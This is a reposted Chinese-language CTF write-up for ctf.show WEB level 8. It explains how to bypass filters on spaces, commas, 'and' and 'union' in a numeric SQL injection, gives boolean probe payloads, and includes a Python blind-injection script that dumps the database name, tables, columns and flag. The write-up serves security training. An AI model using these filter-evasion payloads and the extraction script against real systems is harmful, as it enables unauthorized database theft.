ctfshow-WEB-web8

举报
士别三日wyx 发表于 2021/12/23 00:07:44 2021/12/23
【摘要】 ctf.show WEB模块第8关是一个SQL 注入漏洞, 注入点是数值型, 注入类型推荐使用布尔盲注,此关卡过滤了空格,逗号,and,union等关键字,  1. 过滤空格, 可以使用括号() 或者注释/**/ 绕过 2. 过滤and, 可以使用or替代 3. 过滤union, 可以用盲注替代联合注入 4. 过滤逗...

ctf.show WEB模块第8关是一个SQL 注入漏洞, 注入点是数值型, 注入类型推荐使用布尔盲注,此关卡过滤了空格,逗号,and,union等关键字, 

1. 过滤空格, 可以使用括号() 或者注释/**/ 绕过
2. 过滤and, 可以使用or替代
3. 过滤union, 可以用盲注替代联合注入
4. 过滤逗号, 可以使用特殊语法绕过, 比如:substr(database(),1,1) 可以用substr(database() from 1 for 1)来代替

 

首先确定注入点, 输入以下payload使SQL恒成立

?id=-1/**/or/**/true
 

 由于SQL恒成立, 数据库将查询出表中的所有内容, 并返回到前端展示

再输入一下payload 使SQL恒不成立

?id=-1/**/or/**/false
 

 由于SQL恒不成立, 数据库查询不到任何数据, 从而导致页面空显示

 由以上返回结果可知, 该页面存在SQL注入, 注入点为数值型注入

接下来进行脱库, 由于盲注脱库比较复杂, 此处我们构造Python脚本进行自动化脱库, 注意payload中的字符串不要换行, 否则可能会出问题


  
  1. import requests
  2. url = 'http://53aab0c2-b451-4910-a1e0-f15fd9e64b2a.challenge.ctf.show:8080/index.php?id=-1/**/or/**/'
  3. name = ''
  4. # 循环45次( 循环次数按照返回的字符串长度自定义)
  5. for i in range(1, 45):
  6. # 获取当前使用的数据库
  7. # payload = 'ascii(substr(database()from/**/%d/**/for/**/1))=%d'
  8. # 获取当前数据库的所有表
  9. # payload = 'ascii(substr((select/**/group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema=database())from/**/%d/**/for/**/1))=%d'
  10. # 获取flag表的字段
  11. # payload = 'ascii(substr((select/**/group_concat(column_name)/**/from/**/information_schema.columns/**/where/**/table_name=0x666C6167)from/**/%d/**/for/**/1))=%d'
  12. # 获取flag表的数据
  13. payload = 'ascii(substr((select/**/flag/**/from/**/flag)from/**/%d/**/for/**/1))=%d'
  14. count = 0
  15. print('正在获取第 %d 个字符' % i)
  16. # 截取SQL查询结果的每个字符, 并判断字符内容
  17. for j in range(31, 128):
  18. result = requests.get(url + payload % (i, j))
  19. if 'If' in result.text:
  20. name += chr(j)
  21. print('数据库名/表名/字段名/数据: %s' % name)
  22. break
  23. # 如果某个字符不存在,则停止程序
  24. count += 1
  25. if count >= (128 - 31):
  26. exit()

 成功获取当前数据库名: web8

 

接下来获取获取数据库中所有表

 获取字段

 获取数据flag

 

文章来源: blog.csdn.net,作者:士别三日wyx,版权归原作者所有,如需转载,请联系作者。

原文链接:blog.csdn.net/wangyuxiang946/article/details/120115458

【版权声明】本文为华为云社区用户转载文章,如果您发现本社区中有涉嫌抄袭的内容,欢迎发送邮件进行举报,并提供相关证据,一经查实,本社区将立刻删除涉嫌侵权内容,举报邮箱: cloudbbs@huaweicloud.com
  • 点赞
  • 收藏
  • 关注作者

评论(0

0/1000
抱歉,系统识别当前为高风险访问,暂不支持该操作

全部回复

上滑加载中

设置昵称

在此一键设置昵称,即可参与社区互动!

*长度不超过10个汉字或20个英文字符,设置后3个月内不可修改。

*长度不超过10个汉字或20个英文字符,设置后3个月内不可修改。